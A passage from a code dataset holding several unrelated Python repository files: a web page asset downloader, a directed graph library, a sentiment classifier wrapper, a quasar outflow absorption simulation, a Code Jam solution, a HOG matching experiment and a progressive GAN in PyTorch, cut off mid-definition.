IncrementalBar\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urljoin, urlparse\n\nfrom .logger import configurate_logger\n\n\nlogging.getLogger(__name__)\nconfigurate_logger()\n\n\nRESOURCES = {'img': 'src',\n 'script': 'src',\n 'link': 'href'}\n\n\ndef is_valid_url(url):\n return bool(urlparse(url).netloc) and bool(urlparse(url).scheme)\n\n\ndef replace_link(src_link, output_dir):\n file_name = src_link.split('/')[-1]\n new_link = output_dir + '/' + file_name\n return new_link\n\n\ndef get_content_links(url, output_dir_path):\n try:\n response = requests.get(url)\n except requests.RequestException:\n logging.error('Connection error', exc_info=True)\n\n soup = BeautifulSoup(response.content, features='html.parser')\n links_to_load = []\n tags = soup.find_all(RESOURCES.keys())\n\n for item in tags:\n link = item.get(RESOURCES[item.name])\n if not link:\n continue\n link = urljoin(url, link)\n try:\n position = link.index(\"?\")\n link = link[:position]\n except ValueError:\n logging.error('Exception occurred', exc_info=True)\n if is_valid_url(link):\n links_to_load.append(link)\n item[RESOURCES[item.name]] = replace_link(link, output_dir_path)\n html_doc = soup.prettify()\n return links_to_load, html_doc\n\n\ndef download_element(link, output_dir):\n if not os.path.isdir(output_dir):\n os.makedirs(output_dir)\n response = requests.get(link, stream=True)\n file_name = link.split('/')[-1]\n file_path = os.path.join(output_dir, link.split('/')[-1])\n bar = IncrementalBar(f'Downloading {file_name}',\n max=20,\n suffix='%(percent)d%%')\n\n if not os.path.isdir(file_path):\n with open(file_path, 'wb') as file:\n for data in response.iter_content():\n file.write(data)\n bar.next()\n bar.finish()\n logging.info(f'File {file_name} successfully downloaded')\n\n\ndef download_all_content(url, output_dir_path):\n links, html_doc = get_content_links(url, output_dir_path)\n for link in links:\n download_element(link, output_dir_path)\n return html_doc\n","repo_name":"Dm1triiSmirnov/python-project-lvl3","sub_path":"page_loader/content_loader.py","file_name":"content_loader.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23502286867","text":"\"\"\"Create a directed graph that has nodes and edges. The Graph class has\nfunctions that return various representations of the same graph.\"\"\"\n\nfrom collections import deque\nfrom copy import deepcopy\n\nclass Node(object):\n \"\"\"A node has a value and a list of edges that start or end with it.\"\"\"\n\n def __init__(self, value):\n self.value = value\n self.edges = []\n\n\nclass Edge(object):\n \"\"\"An edge has a value and a direction: the start node and the end node.\"\"\"\n def __init__(self, value, node_from, node_to):\n self.value = value\n self.node_from = node_from\n self.node_to = node_to\n\n\nclass Graph(object):\n \"\"\"A directed graph contains a list of vertexes and edges. It may have\n cycles. It has functions to insert/delete a node or an edge, return various\n representations and traverse the nodes. Assume that each node has a unique\n value, but edges do not have to.\n \"\"\"\n\n def __init__(self, nodes=[], edges=[]):\n self.nodes = nodes\n self.edges = edges\n\n def search_node(self, node_val):\n for node in self.nodes:\n if node.value == node_val:\n return node\n return None\n\n def insert_node(self, new_node_val):\n \"\"\"Insert a node with new_node_val.\"\"\"\n if self.search_node(new_node_val):\n print (\"A node with this value already exists.\")\n return\n self.nodes.append(Node(new_node_val))\n\n def insert_edge(self, new_edge_val, node_from_val, node_to_val):\n \"\"\"Insert an edge with new_edge_val, starting from node_from_val and\n endinng with node_to_val.\"\"\"\n node_from = self.search_node(node_from_val)\n node_to = self.search_node(node_to_val)\n # If node_from is not present in the graph\n if node_from is None:\n node_from = Node(node_from_val)\n self.nodes.append(node_from)\n # If node_to is not present in the graph\n if node_to is None:\n node_to = Node(node_to_val)\n self.nodes.append(node_to)\n new_edge = Edge(new_edge_val, node_from, node_to)\n node_from.edges.append(new_edge)\n node_to.edges.append(new_edge)\n self.edges.append(new_edge)\n\n def get_edge_list(self):\n \"\"\"Return a list of triples that store an edge's value, \"from\" node and\n \"to\" node: [(Edge Value, From Node Value, To Node Value), ...].\n \"\"\"\n return [(edge.value, edge.node_from.value, edge.node_to.value) \n for edge in self.edges]\n\n def get_adjacency_list(self):\n \"\"\"Return a list of lists: The indicies of the outer list represent\n \"from\" nodes. Each sublist can be None or store a list of tuples:\n [[(To Node, Edge Value), (To Node, Edge Value), ...], None, ...].\n \"\"\"\n max_index = max(node.value for node in self.nodes)\n adjacency_list = [None] * (max_index + 1)\n for edge in self.edges:\n index = edge.node_from.value\n if adjacency_list[index] is None:\n adjacency_list[index] = []\n adjacency_list[index].append((edge.node_to.value, edge.value))\n return adjacency_list\n\n def get_adjacency_matrix(self):\n \"\"\"Return a matrix: Rows represent \"from\" nodes; columns represent \"to\"\n nodes. Store an edge value in each spot, or a 0 if no edge exists.\n \"\"\"\n max_index = max(node.value for node in self.nodes)\n # Initialize a matrix. Note that we can't use * for for the outer list,\n # i.e. [[0] * (max_index + 1) * (max_index + 1),] because this will create a list containing (max_index + 1) \n # references to the same sublist.\n adjacency_matrix = [[0] * (max_index + 1) for i in range((max_index + 1))]\n for edge in self.edges:\n adjacency_matrix[edge.node_from.value][edge.node_to.value] = edge.value\n return adjacency_matrix\n\n def breadth_first_traversal(self, node_val):\n \"\"\"Traverse the graph in breadth-first order starting from node_val.\"\"\"\n # Keep track of nodes that we have seen\n seen = set()\n # A queue to store the frontier nodes to traverse\n queue = deque()\n result = []\n start_node = self.search_node(node_val)\n if start_node:\n queue.append(start_node)\n seen.add(start_node)\n while queue:\n node = queue.popleft()\n result.append(node.value)\n for edge in node.edges:\n # If the node of interest is the start of an edge\n next_node = edge.node_to\n if next_node not in seen:\n queue.append(next_node)\n seen.add(next_node)\n return result\n\n def level_BFS(self, root):\n current_level = {root}\n seen = set()\n l = 0\n while True:\n print (l, [node.value for node in current_level])\n seen.update(current_level)\n next_level = set()\n for node in current_level:\n for edge in node.edges:\n if edge.node_to not in seen:\n next_level.add(edge.node_to)\n if len(next_level) == 0:\n return\n current_level = next_level.copy()\n l += 1\n \n def depth_first_traversal(self, node_val):\n \"\"\"Traverse the graph in depth-first order starting from node_val.\"\"\"\n return self._depth_first_traversal_util(node_val, set(), [])\n\n def _depth_first_traversal_util(self, node_val, seen, result):\n node = self.search_node(node_val)\n if node:\n result.append(node.value)\n seen.add(node_val)\n for edge in node.edges:\n next_node = edge.node_to\n if next_node.value not in seen:\n self._depth_first_traversal_util(next_node.value, seen, result)\n return result\n\n def depth_first_traversal_iterative(self, node_val):\n seen = set()\n stack = []\n result = []\n node = self.search_node(node_val)\n if node:\n stack.append(node)\n while stack:\n node = stack.pop()\n if node not in seen:\n result.append(node.value)\n seen.add(node)\n for edge in node.edges:\n if edge.node_to not in seen:\n stack.append(edge.node_to)\n return result\n\n def _update_transitive_row(self, node_val, seen, transitive_row):\n \"\"\"Depth-first search helper function for transitive_closure. Traverse\n the graph from node_val and update the transitive_matrix accordingly.\n \"\"\"\n node = self.search_node(node_val)\n if node:\n seen.add(node_val)\n for edge in node.edges:\n next_node = edge.node_to\n transitive_row[next_node.value] = 1\n # If all the cells of the row have been updated, move on to next row\n if sum(transitive_row) == len(transitive_row):\n break\n if next_node.value not in seen:\n self._update_transitive_row(next_node.value, seen, transitive_row)\n return transitive_row\n\n def transitive_closure(self):\n \"\"\"Find the transitive closure matrix using DFS. Rows represent \"from\"\n nodes, and columns \"to\" nodes. If a cell has value of 1, there's a path\n between \"from\" and \"to\" nodes; if 0, there is no path.\n \"\"\"\n max_index = max(node.value for node in self.nodes)\n transitive_matrix = [[0] * (max_index + 1) for i in range((max_index + 1))]\n for i in range(max_index + 1):\n transitive_matrix[i] = self._update_transitive_row(i, set(), transitive_matrix[i])\n return transitive_matrix\n\n def find_all_paths(self, node_1, node_2):\n \"\"\"Find all possible paths between node_1 and node_2.\"\"\"\n paths = []\n self._find_all_paths_util(node_1, node_2, set(), [], paths)\n return paths\n\n def _find_all_paths_util(self, node_1, node_2, seen, path, paths):\n \"\"\"Helper function for find_all_paths.\"\"\"\n seen.add(node_1)\n path.append(node_1)\n if node_1 is node_2:\n # Make a copy of path so that any update on it won't affect paths\n paths.append(deepcopy(path))\n else:\n for edge in node_1.edges:\n if edge.node_to not in seen:\n self._find_all_paths_util(edge.node_to, node_2, seen, path, paths)\n path.pop()\n seen.remove(node_1)\n\n def count_all_paths(self, node_1, node_2):\n \"\"\"Count all paths between two nodes.\"\"\"\n return self._count_all_paths_util(node_1, node_2, set(), 0)\n\n def _count_all_paths_util(self, node_1, node_2, seen, count):\n \"\"\"Helper function for count_all_paths.\"\"\"\n seen.add(node_1)\n if node_1 is node_2:\n count += 1\n else:\n for edge in node_1.edges:\n if edge.node_to not in seen:\n count = self._count_all_paths_util(edge.node_to, node_2, seen, count)\n seen.remove(node_1)\n return count\n\n def clear(self):\n \"\"\"Clear all nodes and edges. Otherwise, when creating a new graph, the\n nodes and edges of an old graph may be added to the new one.\n \"\"\"\n self.nodes.clear()\n self.edges.clear()\n\n\nif __name__ == \"__main__\":\n # Initialize a Graph and add edges\n graph = Graph()\n graph.insert_edge(100, 1, 2)\n graph.insert_edge(101, 1, 3)\n graph.insert_edge(102, 1, 4)\n graph.insert_edge(103, 3, 4)\n\n # Test the graph representation functions\n assert graph.get_edge_list() == [(100, 1, 2), (101, 1, 3), \n (102, 1, 4), (103, 3, 4)]\n assert graph.get_adjacency_list() == [None, [(2, 100), (3, 101), (4, 102)],\n None, [(4, 103)], None]\n assert graph.get_adjacency_matrix() == [[0, 0, 0, 0, 0], \n [0, 0, 100, 101, 102], \n [0, 0, 0, 0, 0], \n [0, 0, 0, 0, 103], \n [0, 0, 0, 0, 0]]\n # Test breadth-first traversal\n assert graph.breadth_first_traversal(1) == [1, 2, 3, 4]\n # Add a cycle for node 2\n graph.insert_edge(100, 2, 2)\n assert graph.breadth_first_traversal(1) == [1, 2, 3, 4]\n\n # Test depth-first traversal\n assert graph.depth_first_traversal(1) == [1, 2, 3, 4]\n assert graph.depth_first_traversal_iterative(1) == [1, 4, 3, 2]\n graph.level_BFS(graph.nodes[0])\n \n graph.clear()\n\n # Create another graph\n graph_2 = Graph()\n graph_2.insert_edge(1, 0, 1)\n graph_2.insert_edge(1, 0, 2)\n graph_2.insert_edge(1, 1, 2)\n graph_2.insert_edge(1, 2, 0)\n graph_2.insert_edge(1, 2, 3)\n graph_2.insert_edge(1, 3, 3)\n\n # Test breadth-first traversal\n assert graph_2.breadth_first_traversal(2) == [2, 0, 3, 1]\n # Test depth-first traversal\n assert graph_2.depth_first_traversal(2) == [2, 0, 1, 3]\n # Test transitive closure\n assert graph_2.transitive_closure() == [[1, 1, 1, 1],\n [1, 1, 1, 1],\n [1, 1, 1, 1],\n [0, 0, 0, 1]]\n\n assert graph_2.depth_first_traversal_iterative(0) == [0, 2, 3, 1]\n node_0_to_3 = graph_2.find_all_paths(graph_2.nodes[0], graph_2.nodes[3])\n assert [[node.value for node in path] for path in node_0_to_3] \\\n == [[0, 1, 2, 3], [0, 2, 3]]\n assert graph.count_all_paths(graph_2.nodes[0], graph_2.nodes[3]) == 2\n graph_2.clear()\n","repo_name":"ntrang086/python_snippets","sub_path":"graph/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":11746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5286717770","text":"import pickle\nfrom keras_preprocessing.sequence import pad_sequences\nimport numpy as np\n\nwith open('data/ANN/tokenizerANN.pkl', 'rb') as handle:\n tokenizer = pickle.load(handle)\n\n\nModel = pickle.load(open('data/ANN/ANN.pkl','rb'))\n \ndef predictText_ANN (twt):\n twt = tokenizer.texts_to_sequences([twt])\n twt = pad_sequences(twt, maxlen=78, dtype='int32', value=0)\n sentiment = Model.predict(twt)\n if(np.argmax(sentiment) == 2):\n return \"negative\"\n elif (np.argmax(sentiment) == 1):\n return \"positive\"\n elif (np.argmax(sentiment) == 0):\n return \"neutral\"\n\ndef predictFile_ANN(X_test):\n print(X_test)\n Y_predict = []\n for index, row in X_test.iterrows():\n print(row[\"text\"])\n sequences_X_test = tokenizer.texts_to_sequences([row[\"text\"]])\n X_test_1 = pad_sequences(sequences_X_test, maxlen=78)\n x = np.reshape(X_test_1, (1,78))\n result = Model.predict(x)[0]\n print(result)\n if(np.argmax(result) == 0):\n Y_predict.append(\"neutral\")\n elif (np.argmax(result) == 1):\n Y_predict.append(\"positive\")\n elif (np.argmax(result) == 2):\n Y_predict.append(\"negative\")\n return Y_predict","repo_name":"danielmanurunggg/challengePlatinum","sub_path":"predictANN.py","file_name":"predictANN.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13952864874","text":"#Import the necessary modules \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport collections\nfrom matplotlib.ticker import MultipleLocator, FormatStrFormatter\n\n# Ask the user to select the number of streamlines and sightlines they would like to test\nstream = 100\nsight = 100\n\n# Make sure the parameters are acceptable.\n# In order to loop through all intersection points we must set one parameter to always be larger\nassert(stream >= sight),\"The number of streamlines must be greater than or equal to the number of sightlines.\"\n\n# Define the range that the streamlines can cover (in meters)\nxstream_range = np.logspace(14, 16, 1000)\n\n# Define the different positions that the streamlines begin based on user inputs (in meters)\nstream_origin = np.linspace(1E14, 3.5E14, stream)\n\n# Define the opening angles of each streamline based on user inputs (in meters)\nopen_angle = np.linspace(4E13, 7.2E13, stream)\n\n# Define the range that the sightlines can cover (in meters)\nxsight_range= np.logspace(14, 16, 1000)\n\n# Define the positions of each sightline based on user inputs (in meters)\nsight_num = np.linspace(-0.2E14, 0.2E14, sight)\n\n# Define the terminal velocity of the streamlines (in meters)\nv_term = 2.5E7\n\n# Define a constant for the velocity equation from Murray and Chiang model\nbeta = 2\n\n# Define the angle of the sightlines\ntheta = 5 * np.pi/180\n\n# Define the streamlines with hyperbolic geometry\nstreamline = []\nfor i in range(stream):\n streamline.append(np.sqrt(open_angle[i]**2 * (xstream_range**2 / stream_origin[i]**2 - 1)))\nstreamline = np.array(streamline)\n\n# Define the sightlines\nsightline = []\nfor i in range(sight):\n sightline.append(np.tan(theta) * (xsight_range + sight_num[i]))\nsightline = np.array(sightline)\n\n# Define streamlines in terms of radial distance from source\nrad_dist = []\nfor i in streamline:\n rad_dist.append(np.sqrt(xstream_range**2 + i**2))\n\n# Define velocity magnitude along streamline\nstream_vel = []\nfor i in range(stream):\n stream_vel.append(v_term * (1-(stream_origin[i] / rad_dist[i]))**beta)\n \n# Find the indices of the 'intersection' points\nintersect_index = np.zeros((sight, stream), dtype=int)\nfor i in range(sight):\n for j in range(stream):\n if np.nanmin(np.diff(np.sign(sightline[i]-streamline[j]))) != 0:\n intersect_index[i][j] = (np.nanargmin(np.diff(np.sign(sightline[i]-streamline[j]))))\n\n# Find the x and y coordinates where the 'intersection' occurs\nx = np.zeros((sight, stream))\ny = np.zeros((sight, stream))\nx = xstream_range[intersect_index]\nfor i in range(sight):\n for j in range(stream):\n y[i,j] = (streamline[j,intersect_index[i,j]])\n if y[i,j] == 0:\n y[i,j] = np.nan\n\n# Find the radial distance from the source where the 'intersection' occurs\nr = []\nfor i in range(len(x)):\n r.append(np.sqrt(x[i]**2 + y[i]**2))\nr = np.array(r)\n\n# Find the velocity magnitude at each intersection point\nvel = []\nfor i in range(sight):\n for j in range(stream):\n vel.append(v_term*(1-(stream_origin[j]/r[i,j]))**beta)\nvel = np.array(vel).reshape(sight, stream)\n\n# Define function to find the derivative of streamline equation\ndef derivative(xstream_range, open_angle, stream_origin):\n return (open_angle**2 * xstream_range) / (stream_origin**2 * np.sqrt(open_angle**2 * (xstream_range**2 / stream_origin**2 - 1)))\n\n# Find the tangent vector at each intersection point\ntangent = []\nfor i in range(sight):\n for j in range(stream):\n tangent.append(derivative(x[i,j], open_angle[j], stream_origin[j]))\ntangent = np.array(tangent).reshape(sight, stream)\n\n# Finds the angle between sightline and streamline at intersection point\n# From the equation relating difference of slopes to the angle between the line\nphi = []\nfor i in range(sight):\n for j in range(stream):\n phi.append(np.arctan((tangent[i,j] - np.tan(theta)) / (1 + np.tan(theta) * tangent[i,j])))\nphi = np.array(phi).reshape(sight, stream)\n\n# Finds radial component of velocity at each intersection point\n# These are the velocities we observe in our sight column\nv_r = []\nfor i in range(sight):\n for j in range(stream):\n v_r.append(vel[i,j] * np.cos(phi[i,j]))\nv_r = np.array(v_r).reshape(sight, stream)\n\n# Create velocity bins and find indices of bins that radial velocites are in\nbin_num = 100\nbins = np.array(np.arange(0, v_term + v_term/bin_num, v_term/bin_num))\nind = []\nfor i in range(sight):\n ind.append(np.digitize(v_r[i,:], bins))\nind = np.array(ind)\nvel_bin = []\n\n# Calculate the actual radial velocties of bins that have entries\nfor i in range(sight):\n for j in range(stream):\n if ind[i,j] == len(bins):\n vel_bin.append(np.nan)\n else:\n vel_bin.append(bins[ind[i,j]])\nvel_bin = np.array(vel_bin).reshape(sight, stream)\n\n# Reduce the velocities in the same bins so that \n# along a streamline only one velocity is absorbed per bin\nfinal_vel = []\nfor i in vel_bin:\n unique = np.unique(i)\n for j in unique:\n final_vel.append(j)\nfinal_vels = list(collections.Counter(final_vel).keys()) #Use counter to retrieve bin velocities in order\ncount = collections.Counter(final_vel).values() #Use counter to retrieve the number of velocties sorted into bins\n\n# Take the count of velocities in a bin divided by total number of\n# streamlines to find absorption percentage\nabsorption = []\nfor i in count:\n absorption.append(i / sight)\n \n# Plotting Streamlines and Sightlines\nplt.figure(figsize = (20,10))\nax1 = plt.subplot()\nfor i in streamline:\n ax1.plot(xstream_range, i, color='k')\n plt.xlim(xmin=5E13, xmax=1E15)\n plt.ylim(ymin=5E11, ymax=5E14)\n for j in sightline:\n ax1.plot(xsight_range, j, color='b', alpha=0.1)\nplt.show()\n\n# Plot the synthetic absorption profile\nplt.figure(figsize = (10,5))\nax2 = plt.subplot()\nplt.xlim(xmin=0, xmax=v_term)\nplt.ylim(ymin=0, ymax=1)\nplt.grid(True, which='both', axis='both')\nax2.xaxis.set_major_locator(MultipleLocator(0.5e7))\nax2.xaxis.set_minor_locator(MultipleLocator(0.1e7))\nax2.yaxis.set_major_locator(MultipleLocator(0.2))\nax2.yaxis.set_minor_locator(MultipleLocator(0.04))\nplt.xlabel('velocity m/s')\nplt.ylabel('absorption')\nax2.scatter(np.array(final_vels), 1-np.array(absorption))\nplt.show()\n\n# Extracting f_deep from the synthetic plot\nf_deep = np.amin(1-np.array(absorption))\nv_deep = final_vels[np.nanargmin(1-np.array(absorption))]\n#print(f_deep, v_deep)\n\n#write to external file\nabsorption = 1-np.array(absorption)\ntup = list(zip(final_vels, absorption))\nabsorption, final_vels = np.array(list(zip(*np.sort(tup))))\n#with open('pi10/pi10_9b225.txt', 'w') as f:\n# for i in range(len(final_vels)):\n# f.write(str(final_vels[i]) + '\\t' + str(absorption[i]) + '\\n')\n#f.close()\n\n#f = open('pi45_b150.txt', 'r')\n#lines = f.readlines()\n#xplot, yplot = [], []\n#for line in lines:\n# xplot.append(float(line.split()[0]))\n# yplot.append(float(line.split()[1]))\n#f.close()\n\n#read and plot from external file\n#plt.figure(figsize = (10,5))\n#ax3 = plt.subplot()\n#plt.xlim(xmin=0, xmax=v_term)\n#plt.ylim(ymin=0, ymax=1)\n#ax3.scatter(xplot, yplot)\n#plt.show()\n#print(xplot, yplot)\n","repo_name":"masonrhodes/QuasarADW","sub_path":"QuasarADW.py","file_name":"QuasarADW.py","file_ext":"py","file_size_in_byte":7127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23620119621","text":"import os\r\nimport sys\r\n\r\ndef get_BinaryStr( value, digit = 0 ):\r\n rep = bin( value )[ 2 : ]\r\n return '0' * ( digit - len( rep ) ) + rep if digit > 0 else rep\r\n\r\ndef get_BinarySum( valueList, digit ):\r\n binarySum = '0' * digit\r\n\r\n for i in range( len( valueList ) ):\r\n rep = get_BinaryStr( valueList[ i ], digit )\r\n\r\n newBinarySum = ''\r\n \r\n for j in range( digit ):\r\n if binarySum[ j ] == rep[ j ]:\r\n newBinarySum += '0'\r\n else:\r\n newBinarySum += '1'\r\n\r\n binarySum = newBinarySum\r\n\r\n return binarySum\r\n \r\ndef main():\r\n totalCaseCount = int( sys.stdin.readline().strip( '\\r\\n' ) )\r\n\r\n for index in range( totalCaseCount ):\r\n valueCount = int( sys.stdin.readline().strip( '\\r\\n' ) )\r\n valueList = sorted( [ int( value ) for value in sys.stdin.readline().strip( '\\r\\n' ).split() ] )\r\n\r\n maxValue = valueList[ -1 ]\r\n maxValueDigit = len( get_BinaryStr( maxValue ) )\r\n\r\n for i in range( len( valueList ) ):\r\n if get_BinarySum( valueList[ : i + 1 ], maxValueDigit ) == get_BinarySum( valueList[ i + 1 : ], maxValueDigit ):\r\n print( 'Case #{}: {}'.format( index + 1, sum( valueList[ i + 1 : ] ) ) )\r\n break\r\n else:\r\n print( 'Case #{}: NO'.format( index + 1 ) )\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_76/313.py","file_name":"313.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"817565222","text":"from src.algorithms.BaseAlgorithm import fromDirectory\nfrom src.algorithms.HOG import HOG\n\ndataDir = \"../../data\"\npartsDir = f\"{dataDir}/parts/300x300\"\noriginalDir = f\"{dataDir}/original/300x300\"\noutputDir = f\"{dataDir}/experimentResults/old_single/hog/new\"\n\nhog = HOG(parts=fromDirectory(partsDir),\n images=fromDirectory(originalDir))\nhog.process()\nhog.writeResults(outputDir)\nhog.printResults()\n\n\"\"\"\nResults:\n\nTotal time [ms]: 7740.505\nAverage times [ms]:\n - Descriptor computing for a part: 0.334\n - Descriptor computing for a image: 5.248 \n - Matching part with individual image: 85.34\n - Matching part with all images: 853.442\n - Processing entire part: 853.887\n\nAverage part descriptor size: 14464.0\nAverage image descriptor size: 197136.0 \nAverage subsets in image: 2967.11\n\nDeductions:\n - calculating descriptors with HOG is very quick\n - improved version also allows for pre-computing the descriptors, VASTLY improving speed\n - most time is wasted on the sheer amount of image subsets for a single image\n - but AFAIK, there's no way around it, now that it's precomputed even\n - however, this is proportionate to cellSide parameter of HOG (which in return influences cellSize, blockSize and blockStride)\n - larger cellSide => smaller descriptor, less subsets => quicker iterating through all images => quicker processing \n - might not be a problem for larger images, for small ones it's bad though\n\"\"\"","repo_name":"sMteX/DiplomaThesis","sub_path":"src/individual/hog.py","file_name":"hog.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18704311336","text":"import copy\nfrom collections import OrderedDict # Additional Data Type for Naming Elements of Networks\n\nimport numpy as np # General Mathematics and Linear Algebra Library\nimport pytorch_lightning as pl\nimport torch # Overarching framework for PyTorch\nimport torch.nn as nn # General Neural Network Building Blocks\nimport torch.nn.functional as F # Neural Network Functions\nimport torchvision.utils as vutils # Additional Image Utilities\n\nfrom GAN.custom_layers import EqualizedLinear, Conv_Block, ScaleBlock, PixelNormalizationLayer\nfrom GAN.dataset import VariableImageFolder\nfrom GAN.utility import MinibatchSTD, compute_gradient_penalty, exp_avg_update, calc_padding\n\n\nclass ProGenerator(nn.Module):\n def __init__(self, z_dim=512, channel_depth=512, init_bias=True, norm_layers=True,\n out_channels=3, equalize_layers=True, leakiness=0.2, mode=\"nearest\"):\n super(ProGenerator, self).__init__()\n # Store Model Parameters\n self.z_dim = z_dim # Dimensions of latent space vector\n\n self.channel_depth = [channel_depth] # Initial Number of channels to produce from latent space\n # Model begins by producing 4x4 images, incremented when alpha reaches 1\n self.register_buffer('current_size', torch.tensor(4))\n # Current number of completed blocks, incremented when alpha reaches 1 for a given layer\n self.register_buffer('current_depth', torch.tensor(0))\n self.register_buffer('alpha', torch.tensor(0)) # Mixing co-efficient for use when upscaling the network\n\n self.init_bias = init_bias # Initialize bias to 0\n self.norm_layers = norm_layers # Whether to apply minibatch normalization layer\n self.out_channels = out_channels # The final number of colour channels used in the generated image\n self.equalize = equalize_layers # Whether to use the He Constant to equalize layer outputs at runtime\n self.leakiness = leakiness # The co-efficient of the negative slope of the Leaky ReLU activation\n self.mode = mode # Interpolation mode for upscaling, Paper utilizes nearest neighbour mode\n\n # Define Layer Architectures\n self.latent_linear = nn.Sequential(EqualizedLinear(in_features=z_dim, out_features=16 * channel_depth,\n equalize=equalize_layers, bias_init=init_bias),\n # Initial latent space processing\n nn.LeakyReLU(negative_slope=leakiness, inplace=True))\n\n self.init_conv = nn.Sequential( # Initial convolution on latent space after initial linear processing\n *Conv_Block(prev_channel=channel_depth, channels=channel_depth,\n # Convolutions maintain number of channels\n kernel=3, stride=1, padding=calc_padding(dims=4, kernel=3, stride=1), bias=True,\n equalize=equalize_layers, leakiness=leakiness, normalize=norm_layers))\n\n self.ScaleBlocks = nn.ModuleList() # Stores list of scaling blocks to double spatial resolutions\n # Stores the feature map to RGB convolutions A new one is needed for each network expansion\n self.toRGB = nn.ModuleList()\n # The RGB layers are stored to enable extracting smaller intermediary images from scaling blocks\n self.toRGB.append(*Conv_Block(prev_channel=channel_depth, channels=out_channels,\n kernel=1, stride=1, padding=0, bias=True, equalize=equalize_layers,\n activation=False,\n normalize=False)) # The final convolution acts as an activation function\n\n if self.norm_layers:\n self.norm = PixelNormalizationLayer()\n\n def forward(self, x):\n if self.norm_layers:\n x = self.norm(x)\n\n features = np.prod(x.size()[1:]) # Multiple of all dimensions except batch dimension = Total Feature Number\n x = x.view(-1, features) # Batch dimension x Features\n\n batch_size = x.size()[0]\n x = self.latent_linear(x) # Initial Latent Processing & Formatting\n x = x.view(batch_size, -1, 4, 4) # Reshape to Batch x Depth x 4 x 4\n\n x = self.init_conv(x) # Perform initial 3x3 convolution without upscaling\n\n if self.alpha > 0 and self.current_depth == 1: # Apply mixing for when the network begins to expand\n # Expansion determined when alpha is incremented with the completed depth layers still at 0\n expansion = self.toRGB[-2](x)\n expansion = F.interpolate(input=expansion, scale_factor=2, mode=self.mode)\n\n for scale_num, scale_block in enumerate(self.ScaleBlocks, 1):\n # Start at 1 due to the first image dimension not requiring scaling\n x = scale_block(x) # Process the input through the expansion block of upscale, conv, conv\n\n if self.alpha > 0 and (scale_num == self.current_depth - 1):\n expansion = self.toRGB[-2](x)\n expansion = F.interpolate(input=expansion, scale_factor=2, mode=self.mode)\n\n x = self.toRGB[-1](x) # Final layer to RGB\n\n if self.alpha > 0:\n x = self.alpha * expansion + (1.0 - self.alpha) * x # Mix the inputs at the final scale\n\n return x\n\n def incrementdepth(self, new_depth):\n \"\"\"\n Adds scaling block to the model, doubles the spatial resolution of the final image\n\n \"\"\"\n device = next(self.parameters()).device\n self.current_depth += 1\n self.current_size *= 2\n\n prev_depth = self.channel_depth[-1]\n self.channel_depth.append(new_depth)\n # Adds scaling block, padding is calculated from the spatial dimensions and filter properties\n size = self.current_size.cpu().numpy()\n self.ScaleBlocks.append(ScaleBlock(dims=size, prev_channel=prev_depth,\n channels=new_depth, scale=2, equalize=self.equalize,\n normalize=self.norm_layers, leakiness=self.leakiness, kernel=3,\n stride=1, padding=None, bias=True, mode=self.mode).to(device))\n\n self.toRGB.append(*Conv_Block(prev_channel=new_depth, channels=self.out_channels,\n kernel=1, stride=1, padding=0, bias=True, equalize=self.equalize,\n activation=False, normalize=False).to(device))\n\n def set_alpha(self, new_alpha):\n \"\"\"\n Sets the mixing factor used when upscaling the network. Alters the functioning of the forward function\n to include the second last layer and interpolate between it and the final output of the added scaling block.\n \"\"\"\n if new_alpha < 0 or new_alpha > 1:\n raise ValueError(\"Alpha must be in the range [0,1]\")\n\n self.alpha = new_alpha\n\n def load(self, checkpoint):\n \"\"\"\n Automatically scales the network to the required size and loads the weights\n :param checkpoint: Saved network state\n :return:\n \"\"\"\n for depth in checkpoint['settings']['channel_depth'][1:]:\n self.incrementdepth(depth)\n self.load_state_dict(checkpoint['state_dict'])\n print(\"Generator Weights Loaded\")\n\n\nclass ProDiscriminator(nn.Module):\n def __init__(self, channel_depth=512, init_bias=True, norm_layers=False, input_channels=3,\n decision_layer_dim=1, equalize_layers=True, leakiness=0.2, minibatch_std=True):\n super(ProDiscriminator, self).__init__()\n # Store Model Parameters\n self.input_channels = input_channels\n self.decision_layer_dim = decision_layer_dim # Can be augmented to allow for classification of an image\n\n self.channel_depth = [channel_depth] # Initial Number of channels to produce from image\n self.register_buffer('current_size', torch.tensor(4)) # Current size of images for descrimination\n self.register_buffer('current_depth', torch.tensor(\n 0)) # Current number of completed blocks, incremented when the generator completes mixing\n self.register_buffer('alpha', torch.tensor(0)) # Mixing co-efficient for use when upscaling the network\n\n self.init_bias = init_bias # Initialize bias to 0\n self.norm_layers = norm_layers # Whether to apply minibatch normalization layer\n self.minibatch = minibatch_std # Whether to calculate the std of all layers prior to the final convolution\n self.equalize = equalize_layers # Whether to use the He Constant to equalize layer outputs at runtime\n self.leakiness = leakiness # The co-efficient of the negative slope of the Leaky ReLU activation\n\n if self.minibatch:\n self.miniSTD = MinibatchSTD()\n\n self.fromRGB = nn.ModuleList()\n\n self.fromRGB.append(*Conv_Block(prev_channel=input_channels, channels=channel_depth,\n kernel=1, stride=1, padding=0, bias=True, equalize=equalize_layers,\n activation=False, normalize=False)) # Initial RGB to Feature Map Processing\n\n self.ScaleBlocks = nn.ModuleList() # Will be added to as the network grows\n # Blocks will be added to the front of the list as the descriminator grows at its input end\n\n self.DecisionBlock = nn.Sequential(\n *Conv_Block(prev_channel=channel_depth + minibatch_std, channels=channel_depth, # Add channel for std\n kernel=3, stride=1, padding=calc_padding(4, 3, 1), bias=True, equalize=equalize_layers,\n activation=True, normalize=norm_layers), # eg: 513x4x4 → 